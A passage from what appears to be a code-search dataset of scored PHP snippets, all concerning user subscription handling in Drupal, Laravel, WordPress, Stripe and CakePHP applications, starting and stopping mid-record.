$confirm_texts = array(), $post = array()) {\n // Create a link for the subscription confirmation page\n $link = notifications_get_link('subscribe', array('uid' => $user->uid, 'type' => $type, 'fields' => $fields));\n $this->drupalGet($link['href'], $link['options']);\n $this->assertText(t('Confirm your subscription'), 'Subscriptions confirmation page is shown');\n foreach ($confirm_texts as $text) {\n $this->assertRaw($text);\n }\n // Submit the form and check confirmation page\n $this->drupalPost(NULL, $post, t('Subscribe'));\n $this->assertText(t('Your subscription has been created.'));\n $subs = notifications_get_subscriptions(array('uid' => $user->uid, 'type' => $type), $fields);\n $subscription = array_shift($subs);\n $this->assertTrue($subscription, \"The subscription object can be retrieved from the db.\");\n return $subscription;\n }", "title": "" }, { "docid": "e85124c5134e22db7b13b9fe8ea1b81b", "score": "0.5655367", "text": "public function updateSubscription(Request $request, User $user)\n {\n $subscription = Carbon::create($user->end_subscription);\n $subscription->addMonths(1);\n $user->end_subscription = $subscription;\n $user->save();\n \n $users = User::all();\n return $users;\n }", "title": "" }, { "docid": "f28cd7718fb3b81cd5f6699fb0c55e0f", "score": "0.55973095", "text": "function bbp_get_user_subscriptions($user_id = 0)\n{\n}", "title": "" }, { "docid": "0b6421a31e3f86a51f64ef16100d3dd6", "score": "0.559386", "text": "public function subscribeAction()\n\t{\n\t\t// persist subscription\n\t\t$this->_sessionModel->subscribeUser($this->getRequest()->getParam('id'));\n\t}", "title": "" }, { "docid": "aea6a52ef554c2effa7c8b51ade826a8", "score": "0.5567174", "text": "public function updateIdSubscription($user, $id_subscription){\n $toupdate = array(\n 'id_subscription'=>$id_subscription\n );\n $this->db->where('id_user', $user);\n //$this->db->where('status', 'a');\n $this->db->update('record_user_plan', $toupdate);\n \n }", "title": "" }, { "docid": "82c0ed72c7217a80d17995ba21131da9", "score": "0.5476509", "text": "public function buySubscription($user_id,$transaction_status,$reference){\n if($transaction_status == 'COMPLETED'){\n //payment successful->1.award subscription\n $subscription = Subscription::where('user_id',$user_id)->first();\n $subscription->expiry_on = Date('Y-m-d h:i:s', strtotime('+31 days')) ;\n $subscription->save();\n\n //2.set is_used to true so that payment is not used to buy another subscription\n $transactions = MyTransactions::where('reference',$reference)->first();\n if(!is_null($transactions)){\n //found transaction->updated details\n $transactions->is_used=\"1\";\n $transactions->save(); \n }\n //TODO ADD PAYMENT SUCCESSFUL EVENT\n event(new PaymentSuccessfulEvent(\\Auth::user()));\n\n //check if expiry_on is less than now or greater than\n // if($subscription->expiry_on < date('Y-m-d h:i:s')){\n // //if less than now->award 30 days subscriptions from now\n // $subscription->expiry_on = Date('Y-m-d h:i:s', strtotime('+31 days')) ;\n // $subscription->save();\n // }else{\n // //if greater than, award 30 days from expiry_on \n // $timestamp = date_create($subscription->expiry_on);\n // date_add($timestamp,date_interval_create_from_date_string(\"31 days\"));\n // $timestamp = date_format($timestamp,\"Y-m-d h:i:s\");\n // $subscription->expiry_on = $timestamp ;\n // $subscription->save();\n // }\n }else{\n //payment not successful\n //do not give user subscription\n }\n }", "title": "" }, { "docid": "964a3ec8b35668f9835888dee06f1f39", "score": "0.5461512", "text": "public function updateSubscriberSubscription($is_active = true)\n {\n $wp_user = $this->getWordpressUser();\n\n if($is_active)\n {\n update_user_meta($wp_user->ID, 'wp_capabilities', array('employer'=>true));\n }\n }", "title": "" }, { "docid": "cf9647698b69420f50f37e4eafaf0a93", "score": "0.5429471", "text": "public function testAssociateToSubscriptionWithHelper() {\n\t\t$client = self::$client;\n\t\t$config = self::$config;\n\n\t\t$accountID = $config->getUsualAccountID();\n\t\t$paymentMethodID = $config->getUsualPaymentMethodID();\n\t\t$productRatePlanID = $config->getUsualProductRatePlanID();\n\t\t$productID = $config->getUsualProductID();\n \t\n \t$account = Bf_Account::getByID($accountID);\n\t\t$paymentMethod = Bf_PaymentMethod::getByID($paymentMethodID);\n\n\t\t$sub = new Bf_Subscription(array(\n\t\t\t'type' => 'Subscription',\n\t\t\t'productID' => $productID,\n\t\t\t'productRatePlanID' => $productRatePlanID,\n\t\t\t'accountID' => $accountID,\n\t\t\t'name' => 'Memorable Subscription',\n\t\t\t'description' => 'Memorable Subscription Description'\n\t\t\t));\n\n\t\t$sub->usePaymentMethodsFromAccount($account);\n\n\t\tvar_export($sub);\n\t}", "title": "" }, { "docid": "701dd178f6d7a3dd6b52526a85d020d0", "score": "0.54274", "text": "function changeSubscriptionEndDate()\n { \n dd(auth()->user());\n }", "title": "" }, { "docid": "51b4d1b54a32b2f16c08f92e2337720f", "score": "0.5424174", "text": "function rm_gform_activate_user( $user_id, $user_data, $signup_meta ) {\n\t$entry = GFAPI::get_entry( $signup_meta['lead_id'] );\n\tif ( strpos( $entry[57], 'individual_monthly') !== false ) {\n\t\tupdate_user_meta( $user_id, 'rm_membership_level_on_activate', 'individual_monthly' );\n\t\t$subscription_name = 'Refresh Miami Contributor (Monthly Plan)';\n\t\t$subscription_id = 2;\n\t\t$subscription_cost = 10.00;\n\t\t$args = array(\n\t\t\t'subscription_id' => $subscription_id,\n\t\t\t'status' => 'active',\n\t\t\t'recurring' => true,\n\t\t\t'expiration' => date( 'Y-m-d 23:59:59', strtotime( '+1 month', current_time( 'timestamp' ) ) )\n\t\t);\n\t} else if ( strpos( $entry[57], 'individual_annual') !== false ) {\n\t\tupdate_user_meta( $user_id, 'rm_membership_level_on_activate', 'individual_annual' );\n\t\t$subscription_name = 'Refresh Miami Contributor (Yearly Plan)';\n\t\t$subscription_id = 4;\n\t\t$subscription_cost = 100.00;\n\t\t$args = array(\n\t\t\t'subscription_id' => $subscription_id,\n\t\t\t'status' => 'active',\n\t\t\t'recurring' => true,\n\t\t\t'expiration' => date( 'Y-m-d 23:59:59', strtotime( '+1 year', current_time( 'timestamp' ) ) )\n\t\t);\n\t} else if ( strpos( $entry[57], 'business_monthly') !== false ) {\n\t\tupdate_user_meta( $user_id, 'rm_membership_level_on_activate', 'business_monthly' );\n\t\t$subscription_name = 'Refresh Miami Partner (Monthly Plan)';\n\t\t$subscription_id = 3;\n\t\t$subscription_cost = 100.00;\n\t\t$args = array(\n\t\t\t'subscription_id' => $subscription_id,\n\t\t\t'status' => 'active',\n\t\t\t'recurring' => true,\n\t\t\t'expiration' => date( 'Y-m-d 23:59:59', strtotime( '+1 month', current_time( 'timestamp' ) ) )\n\t\t);\n\t} else if ( strpos( $entry[57], 'business_annual') !== false ) {\n\t\tupdate_user_meta( $user_id, 'rm_membership_level_on_activate', 'business_annual' );\n\t\t$subscription_name = 'Refresh Miami Partner (Yearly Plan)';\n\t\t$subscription_id = 5;\n\t\t$subscription_cost = 1000.00;\n\t\t$args = array(\n\t\t\t'subscription_id' => $subscription_id,\n\t\t\t'status' => 'active',\n\t\t\t'recurring' => true,\n\t\t\t'expiration' => date( 'Y-m-d 23:59:59', strtotime( '+1 year', current_time( 'timestamp' ) ) )\n\t\t);\n\t} else { // free\n\t\tupdate_user_meta( $user_id, 'rm_membership_level_on_activate', 'individual_free' );\n\t\t$subscription_name = 'Refresh Miami Member';\n\t\t$subscription_id = 1;\n\t\t$subscription_cost = 0;\n\t\t$args = array(\n\t\t\t'subscription_id' => $subscription_id,\n\t\t\t'status' => 'free',\n\t\t\t'recurring' => true,\n\t\t\t'expiration' => date( 'Y-m-d 23:59:59', strtotime( '+1 month', current_time( 'timestamp' ) ) )\n\t\t);\n\t}\n\n\t// assign the subscription\n\trcp_add_user_to_subscription( $user_id, $args );\n\n\t// add payment so that stripe can attempt an auto renew via restrict content pro?\n\tif ( $subscription_name !== 'Refresh Miami Member' ) {\n\t\t$payments = new RCP_Payments();\n\t\t$payments->insert( array(\n\t\t\t'subscription' => $subscription_name,\n\t\t\t'object_id' => $subscription_id,\n\t\t\t'object_type' => 'subscription',\n\t\t\t'amount' => $subscription_cost,\n\t\t\t'user_id' => $user_id,\n\t\t\t'payment_type' => 'New',\n\t\t\t'transaction_id' => $entry['transaction_id'], // it's in the entry table, not meta.\n\t\t\t'status' => 'complete',\n\t\t\t'gateway' => 'stripe',\n\t\t\t'subtotal' => $subscription_cost,\n\t\t\t'credits' => 0\n\t\t) );\n\t}\n\n\t// print_r( $entry );\n\t// print_r( $user_id );\n\t// print_r( $signup_meta );\n\t// exit;\n}", "title": "" }, { "docid": "3876c1baaa22258abca52e85e059d381", "score": "0.5414716", "text": "function wyzi_subscription_update_user_priveleges_to_business_owner ($user_id) {\n\n if ( current_user_can( 'maage_options' ) )\n return;\n\n $wyzi_subscription_options = get_option ('wyzi_pmpro_subscription_options');\n\n $u = new WP_User( $user_id );\n\n $u->remove_role( 'client' );\n $u->add_role( 'business_owner' );\n\n $points_available = get_user_meta( $user_id, 'points_available', true );\n if ( '' == $points_available ) {\n $points_available = 0;\n } else {\n $points_available = intval( $points_available );\n }\n\n $membership_level = pmpro_getMembershipLevelForUser($user_id);\n \n $points_available = intval($points_available) + intval($wyzi_subscription_options[$membership_level->id]['wyzi_sub_points_added']);\n update_user_meta ($user_id, 'points_available',$points_available);\n\n if( 'on' == get_option( 'wyz_can_become_vendor' ) && WyzHelpers::wyz_sub_can_bus_owner_do( $user_id, 'wyzi_sub_auto_vendorship' ) ) {\n WyzHelpers::make_user_vendor( $u );\n }\n\n WyzHelpers::add_extra_points( $user_id );\n\n }", "title": "" }, { "docid": "7b2c9c14b7976ad75f0d5eed9cd9fd43", "score": "0.5398297", "text": "public function addSubscription() {\n if(IS_DEVELOPMENT){\n $startTime = microtime(true);\n }\n AbuseDetection::check();\n $subscriptionData = array(\n 'answerID' => $this->input->post('answerID'),\n 'documentID' => $this->input->post('docId'),\n 'versionID' => $this->input->post('versionID')\n );\n\n $response = $this->model('Okcs')->addSubscription($subscriptionData);\n if(IS_DEVELOPMENT){\n $timingArray = $this->calculateTimeDifference($startTime, 'addSubscription | OkcsAjaxRequestController');\n $response->ajaxTimings = $timingArray;\n }\n\n if($response->errors) {\n $response = $this->getResponseObject($response);\n $response['result'] = array('failure' => Config::getMessage(ERROR_PLEASE_TRY_AGAIN_LATER_MSG));\n }\n $this->_renderJSON($response);\n }", "title": "" }, { "docid": "386b924296aeb5195415dcab0f99c9ea", "score": "0.5388322", "text": "function wpec_members_add_cancel() {\n $user_id = get_current_user_id();\n ?>\n | <a href=\"<?php echo get_option( 'user_account_url' ) . \"&cancel_members_subscription=true&id=\".$user_id; ?>\"><?php _e('Cancel Subscription', 'wpsc_members'); ?></a>\n <?php\n}", "title": "" }, { "docid": "b367ea863f88ff6e807b480d80525e04", "score": "0.53881", "text": "public function acceptSubs(Request $request)\n {\n $accSub = ScheduledAd::whereMedia_house_id(auth()->user()->created_by)->whereSubscription_id($request->input('sub_id'))->update([\n 'status' => 'approved'\n ]);\n\n AdminAuditTrail::create([\n 'action_by' => auth()->user()->name, 'action' => 'Approve subscription',\n 'request_ip' => $_SERVER['REMOTE_ADDR'], 'activities' => \"Approved a subscription with id \" . $request->input('sub_id')\n . $request->name . \" profile\", 'created_by' => auth()->user()->client_id\n ]);\n\n\n $users = User::find($request->input('user_id'));\n $message = 'Hello ' . $users->name . ',Congratulations and welcome to Kokrokoo!.' . '\\n' .\n ' Your subscription with id ' . $request->sub_id . ' has been approved.You will be notified when subscription is going live.' .\n '\\n' . 'Thanks,' . '\\n' . config('app.name');\n\n $sendSMS = new SendTextMessage();\n\n $sendSMS->sendSubConfirmationText($users->name, $users->phone1, env(\"SMS_USERNAME\"), env(\"SMS_PASSWORD\"), $message);\n Notification::send($users, new AcceptSubscriptionNotificaton($request->sub_id, $users));\n\n session()->flash('sub-reviewed', \"1 subscription successfully accepted\");\n return redirect()->back()->with('sub-reviewed', 'subscription successfully approved');\n // return response()->json('success');\n }", "title": "" }, { "docid": "1aba1386d3a62be3fe5dff26ed0b7fd0", "score": "0.53826505", "text": "public function nextYearSubscription() {\n $this->autoRender = false;\n $output['success'] = false;\n if ($this->request->is(['patch', 'post', 'put'])) {\n if (!empty($this->request->data['utype'])) {\n $user = $this->Auth->user();\n $account_level = (int) $this->request->data['utype'];\n $current_account_level = $user['account_level'];\n\n $now = time();\n $current_expire_date = strtotime($user['expired']->format('Y-m-d'));\n $datediff = $current_expire_date-$now;\n $days_left = floor($datediff / (60 * 60 * 24));\n $additional_charge = 0;\n\n if ($account_level != $current_account_level) {\n if ($account_level == 2) {\n $email_subject = __('UPGRADED_AND_NEXT_YEAR_PURCHASE');\n $flash_message = __('THANKS_FOR_UPGRADE_AND_CONTINUE_SUBSCRIPTION');\n $request_type = 3;\n if ($days_left > 0) {\n $additional_charge = (49*$days_left)/365;\n }\n } else {\n $email_subject = __('DOWNGRADED_AND_NEXT_YEAR_PURCHASE');\n $flash_message = __('THANKS_FOR_DOWNGRADE_AND_CONTINUE_SUBSCRIPTION');\n $request_type = 2;\n }\n } else {\n $request_type = 1;\n $email_subject = __('CONTINUE_NEXT_YEAR_SUBSCRIPTION');\n $flash_message = __('THANKS_FOR_CONTINUE_SUBSCRIPTION');\n }\n $days = ($days_left > 0) ? ($days_left+365) : 365;\n $expired = date('Y-m-d H:i:s', strtotime('+'. $days .' day', time()));\n\n // pr($days_left);\n // pr($days);\n // pr($additional_charge);\n // pr($expired);\n // exit;\n \n $this->Users->updateAll(\n [\n 'account_level' => $account_level,\n 'expired' => $expired,\n 'customer_id' => NULL,\n 'plan_switched' => NULL,\n ], \n ['id' => $user['id']]\n );\n\n $user['expired'] = $this->formatDateObject($expired);\n $user['account_level'] = $account_level;\n $user['customer_id'] = '';\n $user['plan_switched'] = '';\n $this->Auth->setUser($user);\n $user['request_type'] = $request_type;\n\n if ($account_level == 1) {\n $user['amount_to_pay'] = 29;\n $user['package'] = __('29_EUR');\n } else {\n $user['amount_to_pay'] = 49+$additional_charge;\n $user['package'] = __('49_EUR');\n }\n\n \n $email_success = $this->Email->sendMail(Configure::read('AdminEmail'), $email_subject, $user, 'invoice_payment_continue', $user['email'], true);\n\n $output['success'] = true;\n $output['message'] = $flash_message;\n $output['type'] = $request_type;\n $this->Flash->success($output['message']);\n }\n }\n echo json_encode($output);\n }", "title": "" }, { "docid": "1090860661469d31d2b0cfd38f25c7db", "score": "0.5350003", "text": "public function __invoke(Request $request) {\n\n\t\t$plan = $request->getEntityParam('plan_guid');\n\t\t$user = $request->getUserParam('user_guid');\n\t\t$payment_method = $request->getParam('payment_method');\n\n\t\tif (!$payment_method) {\n\t\t\tthrow new BadRequestException();\n\t\t}\n\n\t\tif (!$plan instanceof SubscriptionPlan) {\n\t\t\tthrow new EntityNotFoundException();\n\t\t}\n\n\t\tif (!$user instanceof \\ElggUser || !$user->canEdit()) {\n\t\t\tthrow new EntityPermissionsException();\n\t\t}\n\n\t\t$plan_options = $request->getParam('plan_options');\n\n\t\t$svc = elgg()->subscriptions;\n\t\t/* @var $svc \\hypeJunction\\Subscriptions\\SubscriptionsService */\n\n\t\t$subscriptions = $svc->getSubscriptions($user, $plan_options);\n\n\t\t$cancel = [];\n\t\t$add = true;\n\n\t\tforeach ($subscriptions as $subscription) {\n\t\t\tif ($subscription->container_guid != $plan->guid) {\n\t\t\t\t$cancel[] = $subscription;\n\t\t\t} else {\n\t\t\t\t$add = false;\n\t\t\t}\n\t\t}\n\n\t\tforeach ($cancel as $cancelled_subscription) {\n\t\t\t/* @var $cancelled_subscription \\hypeJunction\\Subscriptions\\Subscription */\n\n\t\t\tif ($cancelled_subscription->cancel(false)) {\n\t\t\t\t// Cancels the subscription immediately\n\t\t\t\tsystem_message(\n\t\t\t\t\telgg_echo('subscriptions:subscribe:cancel:success', [\n\t\t\t\t\t\t$cancelled_subscription->getContainerEntity()->getDisplayName()\n\t\t\t\t\t])\n\t\t\t\t);\n\t\t\t};\n\t\t}\n\n\t\tif (!$add) {\n\t\t\treturn elgg_ok_response();\n\t\t}\n\n\t\t$gateway = $svc->getGateway($payment_method);\n\t\t/* @var $gateway RecurringPaymentGatewayInterface */\n\n\t\t$response = $gateway->subscribe($user, $plan, $request->getParams());\n\n\t\tif (!$response->getForwardURL() || $response->getForwardURL() === REFERRER) {\n\t\t\t$forward_url = elgg_generate_url('collection:object:subscription:owner', [\n\t\t\t\t'username' => $user->username,\n\t\t\t]);\n\n\t\t\t$response->setForwardURL($forward_url);\n\t\t}\n\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "2cc9e9def7eebec3241bfbe81fcdf115", "score": "0.53491944", "text": "function bbp_add_user_topic_subscription($user_id = 0, $topic_id = 0)\n{\n}", "title": "" }, { "docid": "f369646bb62ab503488d684adb7b80ee", "score": "0.53387815", "text": "function notifo_subscribe($user)\r\n{\r\n $notifo_pass = get_option('notifo_service_api_key');\r\n $notifo_user = get_option('notifo_service_username');\r\n\r\n $data = array('username' => $user);\r\n\r\n $ch = curl_init(\"https://api.notifo.com/v1/subscribe_user\");\r\n\r\n curl_setopt($ch, CURLOPT_USERPWD, $notifo_user.\":\".$notifo_pass);\r\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n $response = curl_exec($ch);\r\n \r\n return json_decode($response);\r\n}", "title": "" }, { "docid": "6ef16e5e2fe7c5ba685e4636159028a7", "score": "0.5299309", "text": "function revokeUserSubscription($subscription_enddate, $subscription_status, $change_datetime, $subscriptionid, $user_id, $orderid, $planid, $dataHelper) {\n if (!is_object($dataHelper))\n {\n throw new Exception(\"client_db_function.inc.php : revokeUserSubscription : DataHelper Object did not instantiate\", 104);\n } \n try\n {\n $dataHelper->setParam(\"'\" . $subscription_enddate . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $subscription_status . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $change_datetime . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $subscriptionid . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $user_id . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $orderid . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $planid . \"'\", \"I\");\n $dataHelper->setParam(\"STATUS\", \"O\");\n $arrUpdResult = $dataHelper->putRecords(\"SP\", 'RevokeUserSubscription');\n $dataHelper->clearParams();\n return $arrUpdResult;\n }\n catch (Exception $e)\n {\n throw new Exception(\"client_db_function.inc.php : revokeUserSubscription : Failed : \" . $e->getMessage(), 145);\n }\n}", "title": "" }, { "docid": "ab35f3408cc4b31b5245a3138ebb43b7", "score": "0.5289158", "text": "function user_subscriptions($account = NULL) {\n $account = $account ? $account : $GLOBALS['user'];\n $subscriptions = $this->subscribe_options($account);\n $subscriptions->build_instances(array('uid' => $account->uid));\n $subscriptions->set_user($account);\n return $subscriptions;\n }", "title": "" }, { "docid": "521ccf940dcc0aab03c189e076aa9a6e", "score": "0.52866966", "text": "public function updateUserSubscriptionPeriod() {\n try {\n $status = FALSE;\n $message = '';\n $new_subscription_end_date = '';\n $req_data = $this->request->data;\n\n // usually user_id refers to parent_id or teacher_id.\n if (!isset($req_data['user_id']) && empty($req_data['user_id'])) {\n $message = 'User id missing';\n throw new Exception($message);\n }\n $child_id = 0;\n if (isset($req_data['child_id']) && !empty($req_data['child_id'])) {\n $child_id = $req_data['child_id'];\n }\n $conditions['UserOrders.user_id'] = $req_data['user_id'];\n $conditions['UserOrders.child_id'] = $child_id;\n\n $user_orders_table = TableRegistry::get('UserOrders');\n $user_order = $user_orders_table->find()->where($conditions);\n $orders_join_purchase_table = $user_order->join([\n 'table' => 'user_purchase_items',\n 'type' => 'INNER',\n 'conditions' => [\n 'user_purchase_items.order_timestamp = UserOrders.purchase_item_order_timestamp',\n 'user_purchase_items.item_paid_status = 1',\n \"UserOrders.billing_state = 'ACTIVE'\",\n ]\n ])->select([\n 'user_purchase_items.plan_id',\n 'user_purchase_items.order_timestamp',\n 'UserOrders.trial_period'\n ]);\n if ($orders_join_purchase_table->count()) {\n $orders_join_purchase_result = $orders_join_purchase_table->last()->toArray();\n $plan_id = $orders_join_purchase_result['user_purchase_items']['plan_id'];\n $order_timestamp = $orders_join_purchase_result['user_purchase_items']['order_timestamp'];\n $plans_table = TableRegistry::get('plans');\n $plan = $plans_table->find()->select('num_months')->where(['id' => $plan_id])->first()->toArray();\n $plan_month = $plan['num_months'];\n if (!empty($child_id)) {\n $add_trial_days_timestamp = 0;\n\n // if parent on trial subscription. Trial period will be added to child subscription.\n $parent_info = $this->getParentInfoByChildId($child_id);\n if ($parent_info['parent_subscription_days_left'] > 0) {\n $add_trial_days_timestamp = (60 * 60 * 24 * $parent_info['parent_subscription_days_left']);\n }\n $new_subscription_time = strtotime(\"+$plan_month months\", $order_timestamp) + $add_trial_days_timestamp;\n $new_subscription_end_date = date('Y-m-d', $new_subscription_time);\n $user = $this->Users->find()->where(['id' => $child_id]);\n foreach($user as $info) {\n $info->subscription_end_date = $new_subscription_end_date;\n break;\n }\n if ($this->Users->save($info)) {\n $status = TRUE;\n }\n }\n } else {\n $message = 'No active record found';\n throw new Exception($message);\n }\n } catch (Exception $ex) {\n $this->log($ex->getMessage() . '(' . __METHOD__ . ')');\n }\n $this->set([\n 'status' => $status,\n 'message' => $message,\n 'new_subscription_end_date' => $new_subscription_end_date,\n '_serialize' => ['status', 'message', 'new_subscription_end_date']\n ]);\n }", "title": "" }, { "docid": "2daa14c45eed2072c4f36fdcde655de0", "score": "0.5273093", "text": "function subscribenewsletter(){\n\n\t$userid\t\t=\t$this->session->userdata('user_id');\n\t$subscribe\t=\t$this->input->post('subscribe');\n\t$data['u_subscribe_newsletter']\t= $subscribe;\n\t$result\t=\tUser::updateUser($userid,$data);\n\tif($result){\n\t\t\t\techo 'Newsletter subscription updated sucessfully';\n\t\t\t\texit();\t\n\t\t\t}\n }", "title": "" }, { "docid": "fefdaab41e4b4d214f7d128cbcc208c7", "score": "0.5266745", "text": "function _subscribed()\n {\n $user = user_get_account_info();\n $filter = array();\n $filter_fields = array();\n $input['select'] = 'product.*';\n $input['where'] = [];\n $input['where']['pts.user_id'] = $user->id;\n $input['join'] = array(array('product_to_subscribe pts', 'pts.product_id = product.id'));\n $this->_create_list($input, $filter, $filter_fields);\n $this->_display('category');\n }", "title": "" }, { "docid": "8e33c60e8a4bdc1a89b10360c56e06bf", "score": "0.5260395", "text": "public function credit_card(User $user)\n\t{\n\n\t\tif (auth()->id() == $user->id) {\n\t\t\talert()->info(__('general.dontSubscribeToYourself'));\n\t\t\treturn back();\n\t\t}\n\n\t\ttry {\n\n\t\t\t// set stripe secret\n\t\t\tStripe::setApiKey(opt('STRIPE_SECRET_KEY', '123'));\n\n\t\t\t// create product\n\t\t\t$product = \\Stripe\\Product::create([\n\t\t\t\t'name' => 'Subscription to ' . $user->profile->handle,\n\t\t\t]);\n\n\t\t\t$subscription = \\Stripe\\Subscription::create([\n\t\t\t\t'customer' => 'fan_' . auth()->id(),\n\t\t\t\t'items' => [[\n\t\t\t\t\t'price_data' => [\n\t\t\t\t\t\t'unit_amount' => $user->profile->finalPrice * 100,\n\t\t\t\t\t\t'currency' => opt('payment-settings.currency_code'),\n\t\t\t\t\t\t'product' => $product->id,\n\t\t\t\t\t\t'recurring' => [\n\t\t\t\t\t\t\t'interval' => 'month',\n\t\t\t\t\t\t],\n\t\t\t\t\t],\n\t\t\t\t]],\n\t\t\t]);\n\n\t\t\t// compute price\n\t\t\t$price = number_format($user->profile->finalPrice, 2);\n\n\t\t\t// get platform fee\n\t\t\t$platform_fee = opt('payment-settings.site_fee');\n\n\t\t\t$fee_amount = ($price * $platform_fee) / 100;\n\n\t\t\t// compute creator amount\n\t\t\t$creator_amount = number_format($price - $fee_amount, 2);\n\n\t\t\t// save this order in database\n\t\t\t$subPlan = new Subscription;\n\t\t\t$subPlan->creator_id = $user->id;\n\t\t\t$subPlan->subscriber_id = auth()->user()->id;\n\t\t\t$subPlan->subscription_id = $subscription->id;\n\t\t\t$subPlan->gateway = 'Card';\n\t\t\t$subPlan->subscription_date = now();\n\t\t\t$subPlan->subscription_expires = now();\n\t\t\t$subPlan->subscription_price = $price;\n\t\t\t$subPlan->creator_amount = $creator_amount;\n\t\t\t$subPlan->admin_amount = $fee_amount;\n\t\t\t$subPlan->save();\n\n\t\t\talert(__('general.subscriptionProcessing'));\n\n\t\t\treturn back();\n\t\t} catch (\\Exception $e) {\n\t\t\treturn back()->withErrors([$e->getMessage()]);\n\t\t}\n\t}", "title": "" }, { "docid": "c34babc1284b2e5635433df84daf1d0d", "score": "0.5233104", "text": "public function applyToNewSubscription($data)\n {\n return $this->put($this->env . '/assinaturas/v1/subscriptions?new_customer=true', $data);\n }", "title": "" }, { "docid": "efb6634bc146db69f531d1076440831f", "score": "0.5219757", "text": "public function testUpdateSubscriptions()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "c44c4568973a7afa4953fa584269479d", "score": "0.5210385", "text": "public function setShareWith($user);", "title": "" }, { "docid": "d8fb61f223b18172565a78c2de8df5ac", "score": "0.51963925", "text": "function AuthorizeSubscription( $data ) {\n\n\n $xml = $this->getRequestXML( 'AuthorizeSubscription', $data );\n\n $response = $this->client->doPayIQRequest( $xml, 'AuthorizeSubscription' );\n\n $data = $this->getXMLFields( $response, [\n 'TransactionId'\n ]);\n\n return $data;\n }", "title": "" }, { "docid": "fc2df7e261832fc74487c87cb839e77f", "score": "0.51787674", "text": "function mepr_capture_new_sub($event) {\n $subscription = $event->get_data();\n $user = $subscription->user();\n\n upgrade_user($subscription, $user);\n}", "title": "" }, { "docid": "e35188580779ab28098bed0145e8203f", "score": "0.5177661", "text": "public function confirmSubscriptionItem( $obj ) {\n \n if ($obj[0] -> getSubscriptionType() == \"gift\") {\n $startdate = now();\n } elseif ($obj[0] -> getSubscriptionType() == \"subscription\") {\n $startdate = $this -> postVar(\"fld-subscription_date\");\n }\n if ($obj[0] -> getSubscriptionType() == \"subscription\") {\n $thecode = setUserOrderTicket();\n }\n for ($i=0;$i<$obj[0] -> getSubscriptionPeriod();$i++) {\n for ($j=0;$j<$obj[0] -> getSubscriptionTicketNumber();$j++) {\n $ticket = new TicketCrud($this -> order -> context);\n $ticket->setTicketPaidStatus( $this -> order -> crud -> Payment -> getPaymentStatus() );\n $ticket->setFkUserId( $user );\n $ticket->setFkPaymentId( $this -> order -> crud -> Payment -> getPaymentId() );\n if ($obj[0] -> getSubscriptionType() == \"gift\") {\n $thecode = setUserOrderTicket();\n }\n $ticket->setTicketInviteCode( $thecode );\n $ticket->setTicketIpAddr( REMOTE_ADDR() );\n $ticket->setTicketStartDate( $startdate );\n $ticket->setTicketCreatedAt( now() );\n $ticket->setTicketUpdatedAt( null );\n $ticket->setTicketStatus( 0 );\n $ticket->setTicketUsername( $this -> sessionVar(\"user_username\") );\n $ticket->setTicketTicketPrice( $obj[0] -> getSubscriptionTicketPrice() );\n $ticket->save();\n }\n if ($obj[0] -> getSubscriptionType() == \"subscription\") {\n switch ($obj[0] -> getSubscriptionTerm()) {\n case \"weekly\":\n $startdate = dateAddExt($startdate,7,'d');\n break;\n case \"bi-weekly\":\n $startdate = dateAddExt($startdate,14,'d');\n break;\n case \"monthly\":\n $startdate = dateAddExt($startdate,1,'m');\n break;\n case \"yearly\":\n $startdate = dateAddExt($startdate,1,'y');\n break;\n }\n }\n }\n \n $this -> order -> sendOrderNotification( $obj[0] );\n \n $obj[0] -> setFkPaymentstatus( $this -> order -> crud -> Payment -> getPaymentStatus() );\n $obj[0] -> save();\n \n }", "title": "" }, { "docid": "bb7adcbc2ca3fce53e982df4869d386d", "score": "0.5144303", "text": "protected function _actionEditsubscription(KCommandContext $context)\n {\n if ($subscription = $this->_subscriber->changeSubscriptionTo($this->getItem())) {\n $subscription->endDate = $context->data->endDate;\n }\n }", "title": "" }, { "docid": "dcdb12023df904f75793675034092fa6", "score": "0.51426774", "text": "public function subscribe($username){\n $user = User::where('username', $username)->firstOrFail();\n \n \n // get id of user and attach to me\n $id = Auth::id();\n $me = User::find($id);\n $me->subscribing()->attach($user->id);\n \n return redirect('/profile/' . $username);\n }", "title": "" }, { "docid": "cae8bcae4acff11242c965d0a86675d5", "score": "0.51304686", "text": "public function newsletterSubscriptions($user_email, $settings)\n {\n $api_key = \"8355d50813ef16722e53a6613eee8cf3-us15\"; \n $list_id = \"a386debcfb\";\n $name = \"\";\n $email = $user_email;\n $phone = \"\";\n $args=array(\"apikey\" =>$api_key, \"id\" => $list_id, \"email\" => array(\"email\" => $email));\n $MailChimp = new \\MailChimp($api_key);\n $result = $MailChimp->call(\"lists/subscribe\",$args);\n if($result){\n return true;\n }else{\n return false;\n }\n /*$admin_email = self::getAdminEmail(['mail_email','contact_email']);\n $email = new Email();\n $email->to(array($user_email));\n $email->subject('LearnerOn Newsletter Subscriptions');\n $email->from(array($admin_email->mail_email => WEBSITE_NAME));\n $email->emailFormat('html'); \n $email->template('newsletter_subscriptions_user',Null);\n $email->viewVars(array('url'=>Router::url(\"/\",true),'settings'=>$settings));\n if($email->send()){\n return true;\n }else{\n return false;\n }*/\n }", "title": "" }, { "docid": "aee964d47aa3287ed40a51506a278d32", "score": "0.5129908", "text": "public function AddSubscription($priceData, $subData, $gwObj, $userid=''){\n\t$DB = Antz::registry('db');\n\t$USER = Antz::registry('user');\n\t$CRYPT = Antz::registry('crypt');\n\tglobal $gCms;\n\n\t$secsDuration = ($subData['duration']*86400);\n\n\tif($userid == '') $userid = (int) $USER->userid;\n\t$userid = (int) $userid;\n\n\tif($userid == 0) return false;\n\n\t// load our user data\n\t$uData = $DB->fetchRow(\"SELECT * FROM {$this->config['db_prefix']}iusers WHERE id = '{$userid}'\");\n\n\t$groups = explode(',', $subData['groups']);\n\n\t// find if they have an existing subscription, get the greater expiration date to add our new value to\n\tif($subData['duration'] > 0){\n\t\t$currentExpiration = time();\n\t\tif($this->GetConfig('cumulative_subscriptions')){\n\t\t\tforeach($groups 